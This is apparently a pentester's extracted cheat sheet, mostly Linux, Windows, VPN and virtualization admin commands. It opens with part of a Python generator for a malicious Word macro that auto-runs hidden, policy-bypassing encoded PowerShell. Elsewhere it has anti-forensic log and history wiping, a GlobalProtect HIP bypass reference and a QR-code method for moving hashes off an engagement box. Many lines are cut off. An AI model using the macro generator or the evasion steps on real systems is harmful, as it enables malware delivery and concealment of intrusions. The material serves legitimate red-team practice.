parser.add_argument('--chunk-size', type=int, default=50, help='length of a payload chunk line
args = parser.parse_args()
chunks = chunks.encode('utf-16le')
chunks = b64encode(chunks).decode()
print('Sub AutoOpen()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Document_Open()\r')
print(' Evil\r')
print('End Sub\r\n')
print('Sub Evil()\r')
print(' Dim Text As String\r')
print(' Text = "powershell -exec bypass -nop -nologo -w hidden -enc "\r')
if __name__ == '__main__':
print(gen_payload_wscript_shell(args.pwsh_file, args.chunk_size))
Tools
https://github.com/decalage2/oletools
https://github.com/sevagas/macro_pack
⚙️ Admin
Git
Add SSH key to the ssh-agent:
Pull Requests
Syncing a forked repository:
https://www.youtube.com/watch?v=1vVIpIvboSg
https://www.youtube.com/watch?v=4166ExAnxmo
$ cd /tmp && touch aaa && gpg --sign aaa && rm aaa aaa.gpg && cd -
Submodules
https://tech.serhatteker.com/post/2019-01/changing-git-submodules-urlbranch-to/
Linux
Encodings
From CP1252 to UTF-8:
Check:
$ enconv -d somefile.txt
Or
$ file -i somefile.txt
Network
Connections
Public IP
$ wget -q -O - https://ipinfo.io/ip
Virtual Terminal
Start:
CTRL + ALT + F1-6
Stop:
ALT + F8
Process Kill
OpenSSL
Encrypt/Decrypt
Generate Keys
https://www.linode.com/docs/security/encryption/gpg-keys-to-send-encrypted-messages/
https://habr.com/ru/post/358182/
https://hackware.ru/?p=8215
List keychain:
$ gpg --list-keys
Gen key:
List recipients:
Verify signature:
Cleanup
Log Files
$ > logfile
Or
$ cat /dev/null > logfile
Or
$ dd if=/dev/null of=logfile
Or
$ truncate logfile --size 0
.bash_history
https://askubuntu.com/a/832345
.zsh_history
Secure Delete
List devices:
$ lsblk
$ sudo fdisk -l
$ df -h
Manage partitions:
Format:
Floppy
Permissions
Set defaults for files:
Kernel
Remove old kernels:
GIFs
NTP
1. https://feeding.cloud.geek.nz/posts/time-synchronization-with-ntp-and-systemd/
2. http://billauer.co.il/blog/2019/01/ntp-systemd/
ImageMagick
XOR 2 images:
$ convert img1.png img2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" img_out
Utilities Syntax
tar
.tar
Pack:
Unpack:
.tar.gz
Pack:
Unpack:
.tar.bz
Pack:
Unpack:
scp
7z
$ 7z e packed.7z -p"p4sSw0rD"
Best compression:
grep/find/sed
Recursive grep:
readlink
paste
dpkg
$ dpkg -s <package_name>
$ dpkg-query -W -f='${Status}' <package_name>
$ OUT="dpkg-query-$(date +'%FT%H%M%S').csv"; echo 'package,version' > ${OUT} && dpkg-query -W
veracrypt
https://www.veracrypt.fr/en/Downloads.html
# Mount volume
$ veracrypt -t --pim=0 --keyfiles='' --protect-hidden=no /home/snovvcrash/SecretVolume.dat /mn
# Unmount all
$ veracrypt -d
openconnect
GlobalProtect
Connect:
Bypass HIP:
https://www.infradead.org/openconnect/hip.html
https://gitlab.com/openconnect/openconnect/blob/master/trojans/hipreport.sh
# PHP
$ sudo add-apt-repository ppa:ondrej/php -y
$ sudo apt update
$ sudo apt install php7.2 -y
$ sudo apt install php7.2-curl php7.2-gd php7.2-json php7.2-mbstring -y
# Apache
$ sudo apt install apache2 libapache2-mod-php7.2 -y
$ sudo service apache2 restart
# MySQL
$ sudo apt install mysql-server php7.2-mysql
$ sudo mysql_secure_installation
$ service mysql restart
# Test
$ sudo sh -c 'echo "<?php phpinfo(); ?>" > phpinfo.php'
-> http://127.0.0.1/phpinfo.php
Fun
CMatrix
screenfetch
Kali
https://www.kali.org/docs/general-use/kali-linux-sources-list-repositories/
Branches
Switch to the most stable branch:
$ echo "deb http://http.kali.org/kali kali-last-snapshot main non-free contrib" | sudo tee /et
Setup Checklist
Mix settings list (both for hardware install and virtualization):
[VM] Disable screen lock (Power Manager -> Display, Security -> OFF)
[VM] Configure networks (+ remember to configure VBox DHCP first)
[All] Update && Upgrade (+ change /etc/apt/sources.list to HTTPS if getting "403 Forbidden" be
$ sudo apt update && sudo upgrade -y
$ sudo reboot
[VM] Install guest additions
* Insert Guest Additions CD image and open terminal there
$ cp /media/cdrom0/VBoxLinuxAdditions.run ~/Desktop && chmod 755 ~/Desktop/VBoxLinuxAd
$ sudo reboot
$ rm ~/Desktop/VBoxLinuxAdditions.run && sudo eject
[ALL] Manage users
* Enable root or create new user
SWITCH {
CASE (root):
$ sudo -i
$ passwd root
* Re-login as root
CASE (non-root):
$ sudo useradd -m -s /bin/bash -u 1337 snovvcrash
$ sudo passwd snovvcrash
$ sudo usermod -aG sudo snovvcrash
* Re-login as snovvcrash
}
* Disable kali user [VM]
SWITCH {
CASE (lock):
$ sudo usermod -L kali
$ sudo usermod -s /sbin/nologin kali
$ sudo chage -E0 kali
CASE (delete):
$ sudo userdel -r kali
}
[ALL] Configure sudo
* Increase sudo password timeout value or disable password prompt completely
$ sudo visudo
SWITCH {
CASE (increase timeout):
$ sudo sh -c 'echo "Defaults env_reset,timestamp_timeout=45
CASE (disable password):
$ sudo sh -c 'echo "snovvcrash ALL=(ALL) NOPASSWD: ALL" > /etc
}
[ALL] Clone dotfiles
$ git clone https://github.com/snovvcrash/dotfiles-linux ~/.dotfiles
[ALL] Run ~/.dotfiles/00-autoconfig scripts on the discretion
Console Logging
script
tmux
https://github.com/tmux-plugins/tmux-logging
bash ~/.tmux/plugins/tmux-logging/scripts/screen_capture.sh
bash ~/.tmux/plugins/tmux-logging/scripts/save_complete_history.sh
Time in Prompt
bash
zsh
Paperify
When dealing with an engagement where there's no internet access available on the attacker's box, one can
use paperify to send data to her teammates (hashes to brute force, for example).
Zip the hashes with best compression, base64 the archive and create a QR code:
Translate the QR code with your favorite mobile app and send the contents via a secure channel (e. g., a
messenger). Now your teammates can reverse the process to get the initial zip file:
b64decode.ps1
$IN = $args[0]
$OUT = $args[1]
$data = [IO.File]::ReadAllText("$pwd\$IN")
[IO.File]::WriteAllBytes("$pwd\$OUT", [Convert]::FromBase64String($data))
Debian to Kali
sudo sh -c 'echo "\ndeb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys ED444FF07D8D0BF6
sudo apt update
sudo apt install kali-tools-top10 -y
Networking
https://linkmeup.ru/blog/11.html
https://habr.com/ru/post/307252/
https://kbespalov.medium.com/виртуальные-сетевые-устройства-в-linux-linux-bridge-7e0e887edd01
Log Connections
tcpdump/tshark
iptables
Add rule to register new (does not watch for related, established) connections to your machine:
$ sudo iptables -A INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect
Delete rule:
$ sudo iptables -D INPUT -p tcp -m state --state NEW -j LOG --log-prefix "IPTables New-Connect
Tools
dhclient
Release the current lease on eth0 and obtain a fresh IP via DHCP in Linux:
iptables
https://www.booleanworld.com/depth-guide-iptables-linux-firewall/
https://habr.com/ru/sandbox/18975/
List rules in all chains (default table is filter, there are mangle, nat and raw tables beside it):
fail2ban
Status:
Unban:
OpenVPN
https://wiki.calculate-linux.org/openvpn
https://luemmelsec.github.io/I-got-99-problems-but-my-NAC-aint-one/
https://learn.adafruit.com/setting-up-a-raspberry-pi-as-a-wifi-access-point/install-software
Install stuff:
Configure DHCP:
/etc/dhcp/dhcpd.conf
option domain-name "local";
option domain-name-servers 8.8.8.8, 8.8.4.4;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.200.0 netmask 255.255.255.0 {
range 192.168.200.2 192.168.200.20;
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.200.255;
}
Configure hotspot:
/etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=LinuxHotspot
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=Passw0rd!
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
/etc/network/interfaces
iface wlan0 inet static
address 192.168.200.1
netmask 255.255.255.0
Quick Configurations
Static Config
Manually
$ sudo vi /etc/resolv.conf
domain megacorp.local
search megacorp.local
nameserver 192.168.0.1
$ ping 8.8.8.8
$ nslookup ya.ru
$ sudo systemctl enable ssh --now
netplan
/etc/netplan/*.yaml :
network:
version: 2
renderer: networkd
ethernets:
eth0:
addresses: [10.10.13.37/24]
gateway4: 10.10.13.1
dhcp4: true
optional: true
nameservers:
addresses: [8.8.8.8,8.8.4.4]
Apply:
resolvconf
https://unix.stackexchange.com/questions/128220/how-do-i-set-my-dns-when-resolv-conf-is-being-
overwritten
$
$ sudo
sudo apt install resolvconf
vi /etc/resolvconf/resolv.conf.d/base
$ sudo resolvconf -u
Simultaneous Interfaces
Configure multiple interfaces to work simultaneously:
$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# NAT
allow-hotplug eth0
iface eth0 inet dhcp
# Internal
allow-hotplug eth1
iface eth1 inet dhcp
# Host-only
allow-hotplug eth2
iface eth2 inet dhcp
$ ifup eth0
$ ifup eth1
$ ifup eth2
$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.0.1 0.0.0.0 UG 100 0 0 eth0
0.0.0.0 172.20.10.1 0.0.0.0 UG 600 0 0 wlan0
172.20.10.0 0.0.0.0 255.255.255.240 U 600 0 0 wlan0
192.168.0.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
$ sudo ip route add 192.168.0.0/16 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 172.16.0.0/12 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route add 10.0.0.0/8 via 192.168.0.1 metric 100 dev eth0
$ sudo ip route del 0.0.0.0/0 via 192.168.0.1 dev eth0
$ route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 172.20.10.1 0.0.0.0 UG 600 0 0 wlan0
DNS-суффикс подключения . . . . . :
Описание. . . . . . . . . . . . . : Virtual Ethernet Adapter
...
IPv4-адрес. . . . . . . . . . . . : 192.168.100.181(Основной)
Add a static route to wrap all traffic into the VPN gateway. To achieve that specify VPN interface id in
hexadecimal ( 0x10 in this example) and set higher priority for this route (i.e., lower metric) than default
gateway route has:
Cmd > route add 0.0.0.0 mask 0.0.0.0 192.168.100.1 metric 7 if 0x10
Cmd
... > route print -4
IPv4 таблица маршрута
===========================================================================
Активные маршруты:
Сетевой адрес Маска сети Адрес шлюза Интерфейс Метрика
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.101 25
0.0.0.0 0.0.0.0 192.168.100.1 192.168.100.181 7
Routing
VM as a Router
https://0xdf.gitlab.io/2021/05/04/networking-vms-for-htb.html
Configure traffic routing and NAT from a Windows host (192.168.0.101, eth0) through a Linux VM
(192.168.0.181, eth1 bridged interface) to VPN (10.10.10.0/24, tun0).
For the purpose of redirecting NEW connections from Linux tun0 to Windows host I can set socat on a
needed port as a quick solution (actually it's not necessary for this routing task):
https://www.cyberciti.biz/faq/howto-setup-openvpn-server-on-ubuntu-linux-14-04-or-16-04-lts/
Create a directory with clients' configs to push and set static IPs for clients:
[1,2] [5,6] [9,10] [13,14] [17,18] [21,22] [25,26] [29,30] [33,34] [37,38] [41,42] [45,46] [49
Check interfaces:
$ ifconfig tun0
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.0.1 netmask 255.255.255.255 destination 10.8.0.2
inet6 fe80::ca99:1dec:45c1:5d7a prefixlen 64 scopeid 0x20<link>
inet6 fddd:1194:1194:1194::1 prefixlen 64 scopeid 0x0<global>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 724 (724.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
$ ifconfig tun1
tun1: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.10.13.37 netmask 255.255.254.0 destination 10.10.13.37
inet6 dead:beef:2::10ef prefixlen 64 scopeid 0x0<global>
inet6 fe80::bbe3:5b14:117e:4b99 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5 bytes 420 (420.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10 bytes 800 (800.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Configure NAT:
Add the following directive to client's .ovpn config to ignore default gateway redirection:
Connect to tun0 as a client (example for the kali client) and manually add a route only for traffic you
want to go through VPN:
Virtualization
Docker
$ docker ps -a
Unsorted:
Installation
Linux
docker-engine
docker-compose
https://docs.docker.com/compose/install/#install-compose-on-linux-systems
https://xakep.ru/2017/08/09/hyper-v-internals/
Enable feature:
Sharing VPN
https://win10.guru/hyper-v-virtual-machine-use-host-vpn-connection/
https://techcommunity.microsoft.com/t5/virtualization/sneak-peek-taking-a-spin-with-enhanced-linux-
vms/ba-p/382415
https://www.kali.org/docs/virtualization/install-hyper-v-guest-enhanced-session-mode/
2. kali-tweaks
3. "Configure the system for Hyper-V enhanced session mode" > Shut down VM.
5. Power up VM.
VirtualBox
DHCP
Configure DHCP in VBox:
$ mkdir ~/Desktop/Share
$ mount -t vboxsf /mnt/share-host ~/Desktop/Share
Or (if mounted from VBox settings)
$ ln -s /mnt/share-host ~/Desktop/Share
Automount:
$ crontab -e
"@reboot sleep 10; mount -t vboxsf /mnt/share-host ~/Desktop/Share"
VMWare
Shared Folders
https://linuxhint.com/mount_vmware_shares_command_line_linux_vm/
Mount:
Windows
Processes
Kill process from cmd:
Secure Delete
cipher
sdelete
File:
Directory (recursively):
Disk or partition:
System Perfomance
Network
Disable NIC
Symlinks
Wi-Fi Credentials
https://www.nirsoft.net/utils/wireless_key.html#DownloadLinks
Installed Software
PS > Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*
ADS
.msc
Administrative Tools
KRShowKeyMgr
Run:
Decrypt:
Permissions
Take own of a directory and remove it (run cmd.exe as admin):
DISM
TelnetClient
BitLocker
Check encryption status of all drives (must be elevated):